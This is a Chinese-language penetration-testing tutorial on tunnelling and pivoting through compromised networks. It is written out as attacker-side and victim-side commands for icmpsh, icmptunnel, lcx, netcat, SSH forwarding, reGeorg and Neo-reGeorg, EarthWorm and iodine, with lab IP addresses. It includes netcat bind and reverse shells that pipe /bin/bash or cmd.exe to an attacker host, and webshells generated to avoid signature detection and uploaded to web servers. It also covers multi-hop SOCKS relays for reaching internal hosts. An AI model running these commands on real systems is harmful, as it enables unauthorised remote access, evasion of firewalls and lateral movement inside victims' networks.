一、网络层透传工具
1、icmpsh
icmpsh 是一个简单的反向 ICMP shell 工具,支持在 Windows 和 Linux 平台上运行。 由一个主控端和一个从属端组成。主控端运行在攻击者机器上,而从属端则运行在目标机器上。主控端可以向从属端发送命令,并接收从属端的响应。主控端和从属端之间的通信是通过 ICMP 协议实现的,因此即使目标机器没有开启任何 TCP 或 UDP 端口,也能够进行通信。
icmpsh 的优点是它不需要管理员权限来运行在目标机器上。这就意味着它可以在不破坏系统完整性的情况下进行渗透测试或攻击。
具体操作如下:
攻击主机:192.168.1.101(kali)
(1)安装Python的impacket类库:curl https://bootstrap.pypa.io/pip/2.7/get-pip.py --output get-pip.py
sudo python2 get-pip.py
apt-get install python-pip
pip2 install setuptools
pip2 install impacket
(2)安装icmpsh:git clone https://github.com/inquisb/icmpsh.git
(2)关闭本地系统的ICMP应答sysctl -w net.ipv4.icmp_echo_ignore_all=1 // 恢复设为0
(3) python2 icmpsh_m.py 192.168.1.101 192.168.1.100 // python icmpsh_m.py 攻击者ip 受害者ip,需使用python2运行。
受害主机:192.168.1.100(windows)
icmpsh.exe -t 192.168.1.101
参数说明:
-t host主机ip地址(攻击者),用于向其发送ping请求。此选项是强制性的!
-r 发送包含字符串的单个测试icmp请求,然后退出。这是用于测试连接的。
-d 毫秒请求之间的延迟(以毫秒为单位)
-o 毫秒响应超时(以毫秒为单位)。 如果未及时收到回复, 从站将增加一个空白计数器。 如果该计数器达到极限,则从站将退出。如果收到响应,则计数器设置回0。
-b 空格数限制(退出前未答复的icmp请求
-s 字节最大数据缓冲区大小(以字节为单位)
2、icmptunnel(失败)
icmptunnel 是一种基于 ICMP 协议的隧道技术,它可以将 IP 流量封装在 ICMP 数据包内进行传输,从而实现在一些不支持或限制其他协议的网络环境中传输数据。由于 ICMP 数据包是 Internet 上非常常见且大多数情况下可以通过防火墙,所以 icmptunnel 很适合用于绕过网络限制,如在一些较为严格的网络环境中使用 SSH 等协议可能受阻的情况。
icmpTunnel 有两个部分:客户端和服务端。客户端与服务端之间通过 ICMP 协议进行通信,并将 TCP/UDP 流量封装为 ICMP 报文进行传输。客户端将数据发送到服务端,服务端将数据解封装并将其发送到指定的目标主机或网络。客户端和服务端需要使用相同的协议和密钥来保证数据传输的安全性和完整性。
具体操作如下:
攻击主机:192.1.68.1.101
(1)git clone https://github.com/jamesbarlow/icmptunnel.git //下载源码包
(2)make //进入源码包进行编译
(3)sysctl -w net.ipv4.icmp_echo_ignore_all=1 #禁用icmp回复
(4)./icmptunnel -s #监听
(5)ifconfig tun0 10.0.0.1 netmask 255.255.255.0 #重新打开一个命令行窗口,添加tun0网卡,分配隧道地址为10.0.0.1/24。
(6)ssh root@10.0.0.2
受害主机:192.168.1.103
(1)git clone https://github.com/jamesbarlow/icmptunnel.git //下载源码包
(2)make //进入源码包进行编译
(3)sysctl -w net.ipv4.icmp_echo_ignore_all=1 #禁用icmp回复
(4)./icmptunnel 192.168.1.101 #连接服务端
(5)ifconfig tun0 10.0.0.2 netmask 255.255.255.0 #重新打开一个命令行窗口添加tun0网卡,分配隧道地址10.0.0.2/24
二、数据链路层
1、lcx
LCX 隧道工具是一个基于 SOCKS 和 netcat 的端口转发工具,可以将内网主机的服务映射到公网服务器上,实现内网穿透。(https://github.com/MrAnonymous-1/lcx)
具体操作如下:
攻击主机(公网IP 192.1.68.1.101)
//将本机8000端口上监听到的数据转发到本机的4444端口上面 lcx.exe -listen 8000 4444
受害主机:(192.168.52.103)
//在受害机(Windows)上面执行如下命令,将受害机3389端口的数据转发到攻击者公网VPS的8000端口上。 lcx.exe -slave <攻击者ip> 8000 127.0.0.1 3389
2、NetCat---正向shell
正向shell是在目标机器上进行监听,等待外部连接。GNU Netcat -- 官方主页 -- 下载 (sourceforge.net)
- -g<网关>:设置路由器跃程通信网关,最多设置8个;
- -G<指向器数目>:设置来源路由指向器,其数值为4的倍数;
- -h:在线帮助;
- -i<延迟秒数>:设置时间间隔,以便传送信息及扫描通信端口;
- -l:使用监听模式,监控传入的资料;
- -n:直接使用ip地址,而不通过域名服务器;
- -o<输出文件>:指定文件名称,把往来传输的数据以16进制字码倾倒成该文件保存;
- -p<通信端口>:设置本地主机使用的通信端口;
- -r:指定源端口和目的端口都进行随机的选择;
- -s<来源位址>:设置本地主机送出数据包的IP地址;
- -u:使用UDP传输协议;
- -v:显示指令执行过程;
- -w<超时秒数>:设置等待连线的时间;
- -z:使用0输入/输出模式,只在扫描通信端口时使用。
具体操作如下:
受害主机执行命令:
nc -lvp 4444 -e /bin/bash //linux nc -lvp 4444 -e c:\windows\system32\cmd.exe //windows
攻击主机执行命令:
nc 192.168.1.102(受害者) 4444 //主动连接
3、NetCat---反向shell
反向shell是在攻击者机器上进行监听,等待目标机器的连接。
具体操作如下:
受害主机执行命令:
nc 192.168.1.5 4444 -e /bin/bash //linux nc 192.168.1.5 4444 -e c:\windows\system32\cmd.exe //windows
攻击主机执行命令:
nc -lvp 4444 //监听
4、NetCat---内网代理
NetCat也可以作为一个简单的内网代理工具,用来连接两个不同的网络。
具体操作如下:
攻击主机(192.168.1.101 )执行命令:
nc -lvp 2333 //通过监听2333获得数据库shell
web服务器执行命令:
nc 192.168.1.101 2333 -c "nc -v 192.168.52.143 3333"
数据库(192.168.52.143)服务器执行命令:
nc -ldp 3333 -e c:\windows\system32\cmd.exe
三、应用层
1、SSH隧道-本地端口转发
SSH端口转发(或称SSH隧道)在本机和远程主机之间建立一个加密的通信隧道。这一隧道可以被其他非加密(例如IMAP,VNC,IRC等)或者加密传输的协议用来作为代理转播链接。
具体操作如下:
ssh隧道常见参数:
-C:压缩传输,提高传输速度
-f:将ssh传输转入后台执行,不占用当前的shell
-N:静默连接,连接后看不到具体会话
-g:允许远程主机连接本地用于转发的端口
-L:本地端口转发
-R:远程端口转发
-D:动态转发(SOCKS 代理)
-p:指定ssh端口
攻击主机(192.168.1.101)
//将内网Windows 的3389端口映射到了攻击者本地vps的1153端口上 ssh -CfNg -L 1153(vps端口):192.168.52.138(目标机ip):3389(目标端口) root@192.168.1.103(跳板机) //通过访问本机1153,进行远程桌面连接 rdesktop 127.0.0.1:1153
内网web服务器 (公网IP:192.168.52.103、内网IP:192.168.52.128)
受害Windows 服务器 (内网192.168.52.138)
2、SSH隧道-远程端口转发(跳板机无需公网IP)
SSH 远程端口转发是一种将远程主机的端口映射到本地主机上的方法,它可以通过建立一个安全的 SSH 连接来实现加密传输。
具体操作如下:
内网web服务器 (公网IP:192.168.52.103、内网IP:192.168.52.128)
//将内网Windows 的3389端口映射到了远程攻击者vps的3307端口上 ssh -CfNg -R 3307(vps端口):192.168.52.138(目标机ip):3389(目标端口) root@192.168.1.101(vps)
攻击主机(公网ip 192.168.1.101)
//通过访问本机1153,进行远程桌面连接 rdesktop 127.0.0.1:1153
受害Windows 服务器 (内网192.168.52.138)
3、Socks-动态端口转发
HTTP-Socks 动态端口转发是一种将本地主机的所有网络请求都通过一个安全的 SOCKS5 代理服务器进行转发的方法。它可以实现将内网主机的访问通过代理服务器进行加密传输,并且具有动态性,不需要指定特定的端口号进行转发。
具体操作如下:
攻击主机(192.168.1.101)
//动态端口转发其实就是建立一个ssh加密的SOCKS代理通道,SOCKS代理它只是简单地将一端的系统连接到另外一端,把你的网络数据请求通过一条连接你和目标机器之间的通道,由一端转发到另一端。任何支持SOCKS协议的程序都可以使用这个加密通道进行代理访问。 ssh -CfNg -D 7000 root@192.168.1.103(内网Web服务器) //通过设置本机代理进行渗透 proxychains4 rdesktop 192.168.52.138
内网web服务器 (公网IP:192.168.52.103、内网IP:192.168.52.128)
受害Windows 服务器 (内网192.168.52.138)
4、http-reGeorg(失败)
http-reGeorg
是一个基于 reGeorg
的 HTTP 流量隧道工具,可用于在不直接连接目标服务器的情况下与目标服务器进行通信。通过在本地安装 http-reGeorg
并将流量透传到目标服务器内部,可以绕过一些网络防御机制,实现与目标服务器的通信。
具体操作如下:
1、攻击主机安装
reGeorg
git clone https://github.com/sensepost/reGeorg.git
2、上传 (aspx|ashx|jsp|php) 到 Web 服务器。
3、攻击主机连接webshell
python reGeorgSocksProxy.py -u http://192.168.1.133/tunnel.nosocket.php -p 9999
3、攻击主机:安装并配置proxychains-ng
#下载并安装 apt-get install proxychains-ng #打开配置文件 vi /etc/proxychains.conf #配置文件最后一行添加以下配置 socks5 127.0.0.1 1080
4、利用
proxychains4 rdesktop 192.168.52.138 //连接远程桌面
5、Neo-reGeorg
Neo-reGeorg 是一个旨在积极重构 reGeorg 的项目,目的:提高可用性,避免特征检测;提高 tunnel 连接安全性;提高传输内容保密性应对更多的网络环境场景下使用。
具体操作如下:
1、攻击主机:下载并生成webshell:
#下载 git clone https://github.com/L-codes/Neo-reGeorg.git #方法一生成默认webshell python3 neoreg.py generate -k password #方法二自定义webshell python3 neoreg.py generate -k password --file 404.html --httpcode 404 //定义返回页面 返回值
2、向web服务器(PHP+nginx1.16.1)上传webshell
3、攻击主机连接webshell
python3 neoreg.py -k password -u http://192.168.122.131/tunnel.php
4、攻击主机安装并配置proxychains-ng
#下载并安装 apt-get install proxychains-ng #打开配置文件 vi /etc/proxychains.conf #配置文件最后一行添加以下配置 socks5 127.0.0.1 1080
5、攻击主机使用代理通过ssh进行连接
proxychains4 ssh webapp@192.168.52.138
注意: 使用reGeorg隧道通过ssh连接经常中断,原因web服务器采用的 apache,换成nginx 1.16.1稳定连接,使用python2生成webshell报错,请使用python3生成。
四、SOCKS 代理技术
EarthWorm
EarthWorm是一款用于开启 SOCKS v5 代理服务的工具,基于标准 C 开发,可提供多平台间的转接通讯,用于复杂网络环境下的数据转发
常见参数:
-l listenport open a port for the service startup. // 为服务启动打开一个端口。
-d refhost set the reflection host address. // 设置反连主机地址。
-e refport set the reflection port. // 设置反连端口。
-f connhost set the connect host address . // 设置连接主机地址。
-g connport set the connect port. // 设置连接端口。
-t usectime set the milliseconds for timeout. The default value is 1000// 设置超时的毫秒数。默认值值为1000
-s state setup the function. // 状态设置功能。
(1)正向 SOCKS v5 服务器
具有公网ip的目标服务器: ./ew -s ssocksd -l 1080
攻击主机:通过proxychains4访问web主机 1080 端口提供的代理服务,进行内网
(2)反弹 SOCKS v5 服务器
具有公网ip的攻击主机:./ew -s rcsocks -l 1080 -e 8888 //1080 收到的请求转交给反连 8888 端口的主机.
目标服务器:./ew -s rssocks -d 1.1.1.1 -e 8888 //在目标主机B上启动 SOCKS v5 服务 并反弹到公网主机的 8888端口。
(3)多级级联-正向
具有公网ip的目标服务器:./ew -s rcsocks -l 1080
中间服务器:./ew -s lcx_tran -l 1080 -f 2.2.2.3 -g 9999 //正向:将 1080 端口收到的 socks 代理请求转交给 2.2.2.3 的主机9999端口
攻击主机:通过proxychains4访问 目标服务器:1080 提供的 socks5 代理服务,进行内网穿透。
(4)多级级联-反弹
具有公网ip的攻击主机:./ew -s lcx_listen -l 1080 -e 8888 // 添加转接隧道,将 1080 收到的代理请求转交给反连 8888 端口的主机
中间服务器./ew -s lcx_slave -d 1.1.1.1 -e 8888 -f 2.2.2.3 -g 9999 //反向连接1.1.1.1 8888端口并转交2.2.2.3 的主机9999端口
目标服务器:./ew -s ssocksd -l 9999
攻击主机:通过proxychains4访问攻击机本地1080提供的 socks5 代理服务,进行内网穿透。
五、DNS隧道技术
iodined
iodined 是一款基于 DNS 协议的 IP 隧道软件,它允许用户创建一条虚拟的、基于 DNS 的网络隧道,将 IP 流量封装在 DNS 报文中传输,并利用 DNS 服务器进行路由和中转。
服务端&客户端(下载&安装)
git clone https://github.com/yarrick/iodine.git make&make install
服务端
iodined -f -c -P root@123456 172.16.10.1 12.ssrc.top -DD
liunx客户端
iodine -f -P root@123456 12.ssrc.top -M 200
windwos客户端(需要安装openvpn-install-2.3.13-I601-x86_64.exe https://swupdate.openvpn.org/community/releases/tap-windows-9.9.2_3.exe )
iodine.exe -f -P root@123456 12.ssrc.top